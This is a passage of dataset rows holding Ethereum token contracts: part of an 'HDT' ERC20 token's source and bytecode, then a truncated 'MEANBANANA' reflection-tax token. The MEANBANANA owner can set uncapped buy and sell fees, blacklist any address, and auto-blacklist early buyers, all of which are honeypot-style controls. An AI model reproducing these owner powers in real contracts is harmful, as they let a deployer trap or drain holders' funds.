return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view returns (uint256) {
return _cap;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* HDT Token
*/
contract HDT is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
address public pendingGov;
mapping (address => bool) public minters;
event NewPendingGov(address oldPendingGov, address newPendingGov);
event NewGov(address oldGov, address newGov);
// Modifiers
modifier onlyGov() {
require(msg.sender == governance, "HUB-Token: !governance");
_;
}
constructor () public ERC20Detailed("HUB.finance", "HDT", 18, 800000000 * 10 ** 18) {
governance = tx.origin;
}
/**
* Minte Token for Account
* @param _account minter
* @param _amount amount
*/
function mint(address _account, uint256 _amount) public {
require(minters[msg.sender], "HUB-Token: !minter");
_mint(_account, _amount);
}
/**
* Add minter
* @param _minter minter
*/
function addMinter(address _minter) public onlyGov {
minters[_minter] = true;
}
/**
* Remove minter
* @param _minter minter
*/
function removeMinter(address _minter) public onlyGov {
minters[_minter] = false;
}
/**
* Set new governance
* @param _pendingGov the new governance
*/
function setPendingGov(address _pendingGov)
external
onlyGov
{
address oldPendingGov = pendingGov;
pendingGov = _pendingGov;
emit NewPendingGov(oldPendingGov, _pendingGov);
}
/**
* lets msg.sender accept governance
*/
function acceptGov()
external {
require(msg.sender == pendingGov, "HUB-Token: !pending");
address oldGov = governance;
governance = pendingGov;
pendingGov = address(0);
emit NewGov(oldGov, governance);
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - minted tokens must not cause the total supply to go over the cap.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) { // When minting tokens
require(totalSupply().add(amount) <= cap(), "HUB-Token: Cap exceeded");
}
}
}
|
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80635aa6e675116100ad578063a457c2d711610071578063a457c2d7146105b5578063a9059cbb1461061b578063dd62ed3e14610681578063efdf0bb0146106f9578063f46eccc41461073d5761012c565b80635aa6e6751461044257806370a082311461048c5780637bc6729b146104e457806395d89b41146104ee578063983b2d56146105715761012c565b80633092afd5116100f45780633092afd514610308578063313ce5671461034c578063355274ea14610370578063395093511461038e57806340c10f19146103f45761012c565b806306fdde0314610131578063095ea7b3146101b457806318160ddd1461021a57806323b872dd1461023857806325240810146102be575b600080fd5b610139610799565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017957808201518184015260208101905061015e565b50505050905090810190601f1680156101a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610200600480360360408110156101ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083b565b604051808215151515815260200191505060405180910390f35b610222610859565b6040518082815260200191505060405180910390f35b6102a46004803603606081101561024e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610863565b604051808215151515815260200191505060405180910390f35b6102c661093c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61034a6004803603602081101561031e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610962565b005b610354610a80565b604051808260ff1660ff16815260200191505060405180910390f35b610378610a97565b6040518082815260200191505060405180910390f35b6103da600480360360408110156103a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aa1565b604051808215151515815260200191505060405180910390f35b6104406004803603604081101561040a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b54565b005b61044a610c21565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104ce600480360360208110156104a257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c47565b6040518082815260200191505060405180910390f35b6104ec610c8f565b005b6104f6610eda565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053657808201518184015260208101905061051b565b50505050905090810190601f1680156105635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105b36004803603602081101561058757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7c565b005b610601600480360360408110156105cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061109a565b604051808215151515815260200191505060405180910390f35b6106676004803603604081101561063157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611167565b604051808215151515815260200191505060405180910390f35b6106e36004803603604081101561069757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611185565b6040518082815260200191505060405180910390f35b61073b6004803603602081101561070f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120c565b005b61077f6004803603602081101561075357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113d2565b604051808215151515815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108315780601f1061080657610100808354040283529160200191610831565b820191906000526020600020905b81548152906001019060200180831161081457829003601f168201915b5050505050905090565b600061084f6108486113f2565b84846113fa565b6001905092915050565b6000600254905090565b60006108708484846115f1565b6109318461087c6113f2565b61092c85604051806060016040528060288152602001611d0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108e26113f2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b29092919063ffffffff16565b6113fa565b600190509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a25576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4855422d546f6b656e3a2021676f7665726e616e63650000000000000000000081525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560009054906101000a900460ff16905090565b6000600654905090565b6000610b4a610aae6113f2565b84610b458560016000610abf6113f2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197290919063ffffffff16565b6113fa565b6001905092915050565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610c13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4855422d546f6b656e3a20216d696e746572000000000000000000000000000081525060200191505060405180910390fd5b610c1d82826119fa565b5050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d52576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4855422d546f6b656e3a202170656e64696e670000000000000000000000000081525060200191505060405180910390fd5b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f1f14cfc03e486d23acee577b07bc0b3b23f4888c91fcdba5e0fef5a2549d552381600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a150565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f725780601f10610f4757610100808354040283529160200191610f72565b820191906000526020600020905b815481529060010190602001808311610f5557829003601f168201915b5050505050905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461103f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4855422d546f6b656e3a2021676f7665726e616e63650000000000000000000081525060200191505060405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061115d6110a76113f2565b8461115885604051806060016040528060258152602001611d7f60259139600160006110d16113f2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b29092919063ffffffff16565b6113fa565b6001905092915050565b600061117b6111746113f2565b84846115f1565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4855422d546f6b656e3a2021676f7665726e616e63650000000000000000000081525060200191505060405180910390fd5b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f6163d5b9efd962645dd649e6e48a61bcb0f9df00997a2398b80d135a9ab0c61e8183604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60096020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611480576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611d5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611506576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611cc66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611677576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611d366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611ca36023913960400191505060405180910390fd5b611708838383611bc1565b61177381604051806060016040528060268152602001611ce8602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b29092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611806816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061195f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611924578082015181840152602081019050611909565b50505050905090810190601f1680156119515780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156119f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a9d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611aa960008383611bc1565b611abe8160025461197290919063ffffffff16565b600281905550611b15816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b611bcc838383611c9d565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c9857611c09610a97565b611c2382611c15610859565b61197290919063ffffffff16565b1115611c97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4855422d546f6b656e3a2043617020657863656564656400000000000000000081525060200191505060405180910390fd5b5b505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820033fe97cc9a7550294726d57c390ab462594e49bddf9fd09318615e1762928d964736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 6,133 |
0x6d36fb8dbbd6956d5acacfab1ac6bc0359075186
|
/**
*Submitted for verification at Etherscan.io on 2022-03-03
*/
/**
meanbanana.com
tax: 8% buy/ 12% sell
NFT+P2E GAME
it's really just a banana
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MEANBANANA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MEANBANANA";//
string private constant _symbol = "MEANBANANA";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 8;//
//Sell Fee
uint256 private _redisFeeOnSell = 2;//
uint256 private _taxFeeOnSell = 10;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x14946a445442c3a135733A93B967dc5185d2Ff07);//
address payable private _marketingAddress = payable(0xD509Bd191B1dD916B04E4a3718bcB6AB72FdF564);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9; //
uint256 public _maxWalletSize = 50000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
